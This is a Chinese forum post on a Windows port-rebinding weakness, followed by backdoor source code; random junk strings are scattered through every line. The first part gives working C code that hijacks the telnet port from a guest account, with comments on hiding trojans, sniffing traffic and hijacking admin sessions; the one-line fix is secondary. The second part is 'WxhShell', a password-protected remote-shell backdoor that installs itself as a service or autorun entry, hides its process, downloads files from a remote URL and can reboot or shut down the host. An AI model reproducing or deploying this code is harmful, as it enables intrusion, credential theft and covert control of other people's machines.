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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: SAdE9L =d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1C8xJ6F  
e.skE>&  
  saddr.sin_family = AF_INET; rD~/]y)t  
s*[ I"iE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~1%*w*  
u\Ylo.)b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *d3-[HwZCL  
A1INaL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 O7Jux-E1C  
|~e"i<G#  
  这意味着什么?意味着可以进行如下的攻击: **L&I5Hhm  
|y[I!JdR  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 j(Lz& *4  
yAryw{(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )gEE7Ex?  
&F uPd}F  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \0x>#ygX  
>jsY'Bm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  o 2 Nu@^+  
~c35Y9-5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ik$$Tn&;  
v?OVhV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |E7 J5ha  
wn5OgXxG<  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B{`adq?pW  
!xfDWbvHV  
  #include KU,SAcfR7  
  #include B18BwY  
  #include {&,p<5o  
  #include    <#h,_WP*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   i90X0b-A  
  int main() Eo6N'h>h  
  { ICN>kJ\;M  
  WORD wVersionRequested; o>r P\  
  DWORD ret; Pp-N2t86#2  
  WSADATA wsaData; x(TF4W=j  
  BOOL val; KVa{;zBwl  
  SOCKADDR_IN saddr; &))d],tJX  
  SOCKADDR_IN scaddr; fWmc$r5n](  
  int err; H54RA6$>  
  SOCKET s; + +}!Gfc?s  
  SOCKET sc; ._G ,uP$  
  int caddsize; ; BN81;  
  HANDLE mt; 9r].rzf9  
  DWORD tid;   _u[tv,  
  wVersionRequested = MAKEWORD( 2, 2 ); }ssV"5M  
  err = WSAStartup( wVersionRequested, &wsaData ); =HCEUB9Fs  
  if ( err != 0 ) { jw:z2:0~  
  printf("error!WSAStartup failed!\n"); [[ ie  
  return -1; 7\6g>4J^`  
  } ]o<]A[<  
  saddr.sin_family = AF_INET; eL}w{Hlk T  
   ['IH*gi  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]%E h"   
[<#j K}g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o pTXI*QA  
  saddr.sin_port = htons(23); kkq1:\pZ]a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \ASt&'E  
  { #hxYB  
  printf("error!socket failed!\n"); F@u7Oel@m  
  return -1; *D?_,s  
  } A9.TRKb=8  
  val = TRUE; E{orezP  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z_q+Ac{p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CeYhn\m5K0  
  { |{N{VK  
  printf("error!setsockopt failed!\n"); s* (a  
  return -1; PQ 4mNjXN  
  } OIP]9lM$nC  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; CPOH qK`k  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Oh! {E5!)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l{[@Ahb}?  
hp~q!Q1=  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0nb%+],pX  
  { I\Op/`_=E  
  ret=GetLastError(); E8!`d}\#  
  printf("error!bind failed!\n"); fQfn7FaW_\  
  return -1; 8FuxN2  
  } )=5 &Q  
  listen(s,2); ' h7Faj  
  while(1) h!w::cV  
  { :AzT=^S  
  caddsize = sizeof(scaddr); $r!CQ 2S  
  //接受连接请求 17s~mqy  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 36=aahXd\  
  if(sc!=INVALID_SOCKET) f!'i5I]  
  { 7X>IS#W]  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); bIU.C|h@  
  if(mt==NULL) 2o SM|  
  { FP=B/!g  
  printf("Thread Creat Failed!\n"); K7RAmX  
  break; 8<L{\$3HP|  
  } }Fjbj5w0  
  } h1_Z&VJ  
  CloseHandle(mt);  cyl%p$  
  } r)^sHpK:`  
  closesocket(s); & P-8_I  
  WSACleanup(); tpJA~!mG3  
  return 0; i7#4&r  
  }   ~IhM(Q*mO!  
  DWORD WINAPI ClientThread(LPVOID lpParam) _*o <<C\E  
  { vJ&_-CX   
  SOCKET ss = (SOCKET)lpParam; ~Gfytn9x.;  
  SOCKET sc; mUg :<.^  
  unsigned char buf[4096]; R l ]x:  
  SOCKADDR_IN saddr; e0`z~z]6&  
  long num; gc A:Q4  
  DWORD val; NxHUOPAJc  
  DWORD ret; s 47R,K$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'zYS:W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   z=>fBb>w7  
  saddr.sin_family = AF_INET; %/A>'p,~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); gv`_+E{P  
  saddr.sin_port = htons(23); *V2;ds.~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l2Sar1~1  
  { g#$ C8k  
  printf("error!socket failed!\n"); [^"*I.Z_  
  return -1; R #wZW&N  
  } h*fN]k6  
  val = 100; J+P<zC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j}uL  
  { Ih.+-!w  
  ret = GetLastError(); &Gt{9#  
  return -1; H7+"BWc  
  } uMQI Aapb  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :+"4_f0  
  { &Sd5]r@+  
  ret = GetLastError(); `]5qIKopL  
  return -1; !,`'VQw$  
  } U"r*kO%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Jx+6Kq(  
  { 1 m'.wh|  
  printf("error!socket connect failed!\n"); @7nZjrH  
  closesocket(sc); G J%^hr`P  
  closesocket(ss); $4{sP Hi)I  
  return -1; 1K9.3n   
  } "B3jq^  
  while(1) C'I&<  
  { liS'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d~<$J9%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 _x.2&S89  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Wr[LC&  
  num = recv(ss,buf,4096,0); 4FaO+Eo,8  
  if(num>0) T ~xVHk1  
  send(sc,buf,num,0); +^BTh rB  
  else if(num==0) d#T5=5 #  
  break; g4^-B  
  num = recv(sc,buf,4096,0); y[i}iT/~  
  if(num>0) U,U=udsi  
  send(ss,buf,num,0); /l7 %x.  
  else if(num==0) N*A*\B%{x'  
  break; I2/am8!u%  
  } b:S$oE  
  closesocket(ss); *P' X[z  
  closesocket(sc); :gsRJy1  
  return 0 ; hF-QbO  
  } 5~h )pt47  
P*"c!Dn  
E{V?[HcWq  
========================================================== 3Ws(],Q  
;!HQ!#B  
下边附上一个代码,,WXhSHELL q_[y|ETJ]  
RFbf2s\t  
========================================================== 5mAb9F8@  
Uc!k)o#=  
#include "stdafx.h" cpk\;1&t  
 GAfc9  
#include <stdio.h> 0gqV>:  
#include <string.h> Py*WHHO  
#include <windows.h> ,9y6:W%5  
#include <winsock2.h> 9po=[{Bp  
#include <winsvc.h> :0@0muo  
#include <urlmon.h> w~6/p  
KOg,V_(I  
#pragma comment (lib, "Ws2_32.lib") SXsszb:_  
#pragma comment (lib, "urlmon.lib") JcRxNH )<"  
<J d!`$  
#define MAX_USER   100 // 最大客户端连接数 .J-k^+-  
#define BUF_SOCK   200 // sock buffer e^*&&  
#define KEY_BUFF   255 // 输入 buffer 7z$53z  
;X+0,K3c  
#define REBOOT     0   // 重启 ir'<H<t2  
#define SHUTDOWN   1   // 关机 L/fXP@u  
1R_@C.I  
#define DEF_PORT   5000 // 监听端口 3z0Bg  
Ju>QQOxi|  
#define REG_LEN     16   // 注册表键长度 lfBCzxifC  
#define SVC_LEN     80   // NT服务名长度 8T"L'{ggWB  
f/L8usBXq  
// 从dll定义API kt Z~r. +  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P_b5`e0O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %(s|  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #reR<qp&]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); skeeec\V  
Q:) 4  
// wxhshell配置信息 #_\**%,<  
struct WSCFG { '[6]W)f  
  int ws_port;         // 监听端口 >W+,(kAS  
  char ws_passstr[REG_LEN]; // 口令 $Ud9v4  
  int ws_autoins;       // 安装标记, 1=yes 0=no X%-"b`  
  char ws_regname[REG_LEN]; // 注册表键名 >#dLT~[\a  
  char ws_svcname[REG_LEN]; // 服务名 o?O ZsA  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2G|}ENC  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 euY+jc%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3K(/=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .z CkB86  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 8;~,jZ s  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Ud.t =2  
oTk\r$4eb  
}; y-@`3hYM@  
y=8KNseW|  
// default Wxhshell configuration "/O07l1Q<  
struct WSCFG wscfg={DEF_PORT, gT[]"ZT7  
    "xuhuanlingzhe", 860y9wzU  
    1, [)}`w;#  
    "Wxhshell", _0[s]  
    "Wxhshell", xNY&*jI  
            "WxhShell Service", s'/_0  
    "Wrsky Windows CmdShell Service", 6I~M8Lo ;  
    "Please Input Your Password: ", R(> oyxA[F  
  1, Hv"qRuQ?[  
  "http://www.wrsky.com/wxhshell.exe", rU>l(O'b  
  "Wxhshell.exe" S41S+#7t*  
    }; Qt"jU+Zoy  
&iuMB0rbu  
// 消息定义模块 Mj0jpP<uf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4 J9Y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $XyDw|z[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c -~i=C]  
char *msg_ws_ext="\n\rExit."; f U<<GK70  
char *msg_ws_end="\n\rQuit."; UM1h[#?&V)  
char *msg_ws_boot="\n\rReboot..."; }uD*\.  
char *msg_ws_poff="\n\rShutdown..."; WYvcN8F  
char *msg_ws_down="\n\rSave to "; c8l\1ce?7  
4\U"e*  
char *msg_ws_err="\n\rErr!"; rJ4A9d3:  
char *msg_ws_ok="\n\rOK!"; GOCe&?  
pcQzvLk  
char ExeFile[MAX_PATH]; j%S} T)pX  
int nUser = 0; Q9X+H4`}y  
HANDLE handles[MAX_USER]; Rs]Y/9F;{  
int OsIsNt; I Yr4  
,[|i^  
SERVICE_STATUS       serviceStatus; 9j5k=IXg#a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; :y~l?0b&8  
_P_R`A)"  
// 函数声明 K?S5C8  
int Install(void); KjV1->r#  
int Uninstall(void); -!j5j:RR  
int DownloadFile(char *sURL, SOCKET wsh); 1VXn`O?LW  
int Boot(int flag); AhV V  
void HideProc(void); E zU=q E  
int GetOsVer(void); !J }Q%i  
int Wxhshell(SOCKET wsl); I&&[ ':  
void TalkWithClient(void *cs); DRu#vC  
int CmdShell(SOCKET sock); @vi;P ^1!  
int StartFromService(void); r[nvgzv@  
int StartWxhshell(LPSTR lpCmdLine); eeUEqM$7EX  
/a-OB U  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G/Yqvu,2!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $=!_ !tr  
om0g'Qa  
// 数据结构和表定义 H3 |x  
SERVICE_TABLE_ENTRY DispatchTable[] = 'oM&Ar$  
{ 8Vm)jnM  
{wscfg.ws_svcname, NTServiceMain}, UTxqqcqEny  
{NULL, NULL} Hc-68]T  
}; Z=144n 1  
Z&Z= 24q_  
// 自我安装 FHyyZ{"  
int Install(void) LeXkl=CC  
{ )WF*fcx{  
  char svExeFile[MAX_PATH]; ";/,FUJJ  
  HKEY key; }C{wGK+o[  
  strcpy(svExeFile,ExeFile); $-BM`Zt0;  
8(GJz ~y  
// 如果是win9x系统,修改注册表设为自启动 uRRp8hht  
if(!OsIsNt) { {# TZFB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v?#W/].C+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /HM 0p  
  RegCloseKey(key); 6tT*b@/_o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /c52w"WW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _*dUH5  
  RegCloseKey(key); :J;*]o:  
  return 0; 8s<t* pI2  
    } ,mvU`>Ry  
  } {wVJv1*l  
} J*"G*x#u  
else { #BwkbOgr  
S5xum_Dq  
// 如果是NT以上系统,安装为系统服务 OOX[xv!b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #bdSH)V  
if (schSCManager!=0) ~_hn{Ou s  
{ nG !6[^D  
  SC_HANDLE schService = CreateService V.kRV{43  
  ( }*M>gvPo  
  schSCManager, LIMPWw g  
  wscfg.ws_svcname, 9/I|oh_ G  
  wscfg.ws_svcdisp, @vkO(o  
  SERVICE_ALL_ACCESS, )_Wo6l)i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L{AfrgN  
  SERVICE_AUTO_START, Zdll}nO"E  
  SERVICE_ERROR_NORMAL, B|6_4ry0U  
  svExeFile, `_5{: 9N$  
  NULL, V /,F6  
  NULL, s^ R i g[  
  NULL, X) xeq  
  NULL, };s8xGW:k3  
  NULL a+ lGN  
  ); *B1%-  
  if (schService!=0) KO5! (vi@  
  { tg' 2 v/  
  CloseServiceHandle(schService); GYK&QYi,  
  CloseServiceHandle(schSCManager); 4-veO3&.h  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "$rmy>d  
  strcat(svExeFile,wscfg.ws_svcname); 4vbtB2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o!>h Q#h  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); S"G`j!m1  
  RegCloseKey(key); 86 <[!ZM  
  return 0; TuX9:Q  
    } $`Hb -  
  } @eU5b63jM  
  CloseServiceHandle(schSCManager); 0mD=Rjb*a  
} k@/s-^ry3  
} ym.:I@b?6  
X|Z2"*;b`  
return 1; r\DA&b  
} , UiA?7k  
C)xM>M_CB  
// 自我卸载 N#zh$0!8bJ  
int Uninstall(void) 2E*h,Mo  
{ P{gy/'PH,  
  HKEY key; &yN/ AY`U  
%AnqT|\#,  
if(!OsIsNt) { b!3Y<D*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +JrbC/&  
  RegDeleteValue(key,wscfg.ws_regname); mKN#dmw6  
  RegCloseKey(key); -K*&I!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >0Gdxj]\  
  RegDeleteValue(key,wscfg.ws_regname); * j]"I=D  
  RegCloseKey(key); C])b 3tM,7  
  return 0; TM2pE/P  
  } _q<Ke/  
}  %kSpMj|  
} HyKv5S$  
else { CZ4Nw]dtR  
O{w'i|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {]V+C=`  
if (schSCManager!=0) lbUUf}   
{ h}knn3"S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); YR/%0^M'0  
  if (schService!=0) H". [&VP5Z  
  { CE;J`;  
  if(DeleteService(schService)!=0) {  "yA=Tw  
  CloseServiceHandle(schService); 0AWOdd>.  
  CloseServiceHandle(schSCManager); ! uX0G4  
  return 0; |];f?1  
  } .qAlPe L:  
  CloseServiceHandle(schService); V4>qR{5  
  } bj$VYS"kY  
  CloseServiceHandle(schSCManager); NGq@x%T  
}  L$Yg*]\  
} F\IJim-Rh  
5eJMu=UpR  
return 1; b^q8s4(   
} lZ>j:/R8^&  
lJIcU RI4  
// 从指定url下载文件 `y0u(m5  
int DownloadFile(char *sURL, SOCKET wsh) Iq["(!7E5  
{ _KZ&/  
  HRESULT hr; Gw1Rp  
char seps[]= "/"; yh:Wg$qx  
char *token; PqVz ^(Wz  
char *file; "f|xIK`c  
char myURL[MAX_PATH]; f<;w1sM\  
char myFILE[MAX_PATH]; L=#nnj-  
Wkj0z ]]?  
strcpy(myURL,sURL); c]1\88  
  token=strtok(myURL,seps); _6!@>`u~  
  while(token!=NULL) Kd;Iu\4hv  
  { S\"#E:A  
    file=token; 4157!w'\y  
  token=strtok(NULL,seps); (N[R`LN  
  } $LOwuvu>  
##r9/`A  
GetCurrentDirectory(MAX_PATH,myFILE); MR3\7D+9y  
strcat(myFILE, "\\"); 4];<` %  
strcat(myFILE, file); y)*W!]:7^>  
  send(wsh,myFILE,strlen(myFILE),0); &@[pJ2  
send(wsh,"...",3,0); wS+ekt5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -50Qy[0."  
  if(hr==S_OK) e]DuV)k&  
return 0; ?ytY8`PC  
else Rx,5?*b$  
return 1; J5"d|i  
X`Jo XNqm  
} Hn sPXF'8g  
me  ,lE-  
// 系统电源模块 Y5z5LG4  
int Boot(int flag) T-a [  
{ G<M9 6V  
  HANDLE hToken; Ny` =]BA  
  TOKEN_PRIVILEGES tkp; >QSlH]M  
k3CHv=U{  
  if(OsIsNt) { y%!zXK`cl]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iq@&?,W  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D5"Xjo*  
    tkp.PrivilegeCount = 1; rd1EA|T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; A{%LL r:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); V~MyX&`  
if(flag==REBOOT) { ?*L{xNC#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >UnLq:G  
  return 0; 1YScZ  
} nq qqP  
else { YkF52_^_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) aJLc&o 8Yg  
  return 0; p\22_m_wd  
} ~xt]g zp{  
  } K^e4w`F|  
  else { '37 <+N  
if(flag==REBOOT) { ok1-`c P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vy7 )_D  
  return 0; 3R<VpN){  
}  N<~LgH  
else { )(+q~KA}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $CDRIn50  
  return 0; hMyN$7Z  
} *:?XbtIK u  
} WI1DL&*B@<  
KM9H<;A  
return 1; 1vinO!  
} 8Om4G]*|,  
"2ZuI; w  
// win9x进程隐藏模块 a7sX*5t{R  
void HideProc(void) H"c2kno9  
{ &2r[4  
{~`{bnx^]7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Ze?n Q-  
  if ( hKernel != NULL ) |]eWO#vs  
  { ,z~"Mst  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *^:s! F  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K0|:+s@u  
    FreeLibrary(hKernel); X7txAp.  
  } Kf#iF*  
9B/iQCFtj$  
return; )cU$I)  
} vi]cl=S  
ujf7r`;u.  
// 获取操作系统版本 SN]Na<P  
int GetOsVer(void) b+$E*}  
{ r-No\u_  
  OSVERSIONINFO winfo; U6#9W}CE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); @M6F?;  
  GetVersionEx(&winfo); <vt}+uMzXv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {E.A?yej9  
  return 1; vCUbbQz  
  else F{Oaxn  
  return 0; erOj(ce  
} Q]<6voyy  
9\uBX.]x  
// 客户端句柄模块 SPm2I(at7  
int Wxhshell(SOCKET wsl) =s9*=5r8  
{ 3`;1;T2$B  
  SOCKET wsh; TLq^5,qG  
  struct sockaddr_in client; % CQv&d2  
  DWORD myID; >J#/IjCW  
rdsZ[ii  
  while(nUser<MAX_USER) 'EN80+xYX  
{ Qe_C^ (P  
  int nSize=sizeof(client); VO~%O.>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZC`VuCg2O  
  if(wsh==INVALID_SOCKET) return 1; In8{7&iVO  
tJ .Ln  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <o/lK\>  
if(handles[nUser]==0) ]|u7P{Z"R  
  closesocket(wsh); & Zjs  
else YF>1 5{H  
  nUser++; !x! 1H5"  
  } H;0K4|I  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~[=d{M!$W  
p)VMYu  
  return 0; s>%.bAxc  
} !?lvmq  
7}e5ac  
// 关闭 socket Sj o-Xf}  
void CloseIt(SOCKET wsh) Y#+Ws0wN  
{ 8_pyfb  
closesocket(wsh); _# cM vl k  
nUser--; 0|g@; Pc  
ExitThread(0); f:6F5G  
} 14A(ZWwq9  
3!%-O:!  
// 客户端请求句柄 9_8\xLk  
void TalkWithClient(void *cs) U.h2 (-p  
{ rjj_]1?K  
;j qF:Wl@  
  SOCKET wsh=(SOCKET)cs; MNp4=R  
  char pwd[SVC_LEN]; \.>7w 1p  
  char cmd[KEY_BUFF]; gk;hpO  
char chr[1]; s3  fQGbU  
int i,j; I8c:U2D  
kU#k#4X4g  
  while (nUser < MAX_USER) { *!E~4z=  
g<7Aln}Nl\  
if(wscfg.ws_passstr) { :*^aSPlV  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YV} "#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); My Ky*wD  
  //ZeroMemory(pwd,KEY_BUFF); lBm`W]3T  
      i=0; |'I>Ojm  
  while(i<SVC_LEN) { @/:7G.  
5<Uh2c  
  // 设置超时 !\'H{,G  
  fd_set FdRead; $G{j[iLY  
  struct timeval TimeOut; Y[_|sIy*  
  FD_ZERO(&FdRead); m*YfbOhs#  
  FD_SET(wsh,&FdRead); PgA1:i&'  
  TimeOut.tv_sec=8; LbYIRX  
  TimeOut.tv_usec=0; &5XEjY>@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SlHDBr!.z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |QMmF"0  
!YI<A\P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^2{6W6=  
  pwd=chr[0]; H=w):kL|  
  if(chr[0]==0xd || chr[0]==0xa) { bfm+!9=9S  
  pwd=0; *j,bI Y&se  
  break; hc3tzB  
  } ru6M9\h*  
  i++; <QC7HR  
    } ~j(vGO3JB  
v*FbvrY  
  // 如果是非法用户,关闭 socket +\;Ro18?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pzoh9}bue  
} nC!]@lA  
.tppCy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iH@u3[w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xx|D#Z}G  
Yl lZ5<}  
while(1) { +rA#]#hN  
i*$~uuY  
  ZeroMemory(cmd,KEY_BUFF); h::(b,|f7  
d*VvQU8C  
      // 自动支持客户端 telnet标准   =:zPT;K  
  j=0; i+_=7(e  
  while(j<KEY_BUFF) { =:xX~,qmv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6({)O1Z  
  cmd[j]=chr[0]; J\w4N",  
  if(chr[0]==0xa || chr[0]==0xd) { 7R m\#  
  cmd[j]=0; 9 nY|S{L  
  break; );_/0:  
  } /$]S'[5uF  
  j++; { dh,sbl  
    } " C&>$h_%  
j|`lOH8  
  // 下载文件 kX`m( N$  
  if(strstr(cmd,"http://")) { }9W[7V?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0#Pa;(  
  if(DownloadFile(cmd,wsh)) %&VI-7+K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 gcWw, /  
  else WagL8BpLx  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S[yrGX8lu  
  } <#57q%  
  else { q :~/2<o  
/kK!xe  
    switch(cmd[0]) { o<txm?+N  
  nxBP@Td  
  // 帮助  E>i<2  
  case '?': { iAk.pH]a  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S]|sK Y  
    break; rNo/H<J%+j  
  } %72(gR2Wa2  
  // 安装 zv0sz])  
  case 'i': { V*fv>f:Yv  
    if(Install()) dlCiqY: }  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =T6 ~89  
    else _yR_u+5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  <82&F  
    break; "*j8G8  
    } lw}7kp4 2F  
  // 卸载 ^'M^0'_"v  
  case 'r': { ! l0"nPM=  
    if(Uninstall()) febn?|@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #_aq@)Fd  
    else ~/)]`w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .K(9=yh  
    break; 1n&%L8]  
    } 4%8den,|  
  // 显示 wxhshell 所在路径 DCZG'eb  
  case 'p': { 4k3pm&  
    char svExeFile[MAX_PATH]; cLwnV.  
    strcpy(svExeFile,"\n\r"); yp^k;G?_d  
      strcat(svExeFile,ExeFile); bHx@   
        send(wsh,svExeFile,strlen(svExeFile),0); 3)#Nc|  
    break; hDSf>X_*_G  
    } GH-Fqz  
  // 重启 k+?gWZ \  
  case 'b': { r,Xyb`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z'2AsT  
    if(Boot(REBOOT)) #X %!7tU6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9/nkF1p  
    else { ru9@|FgAE  
    closesocket(wsh); (BxmV1  
    ExitThread(0); ?<W|Ya  
    } 5psJv|Zo]  
    break; Wu|MNB?M  
    } o@.{|j  
  // 关机 0x5Ax=ut  
  case 'd': { Q8h0.(#-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %bF157X5An  
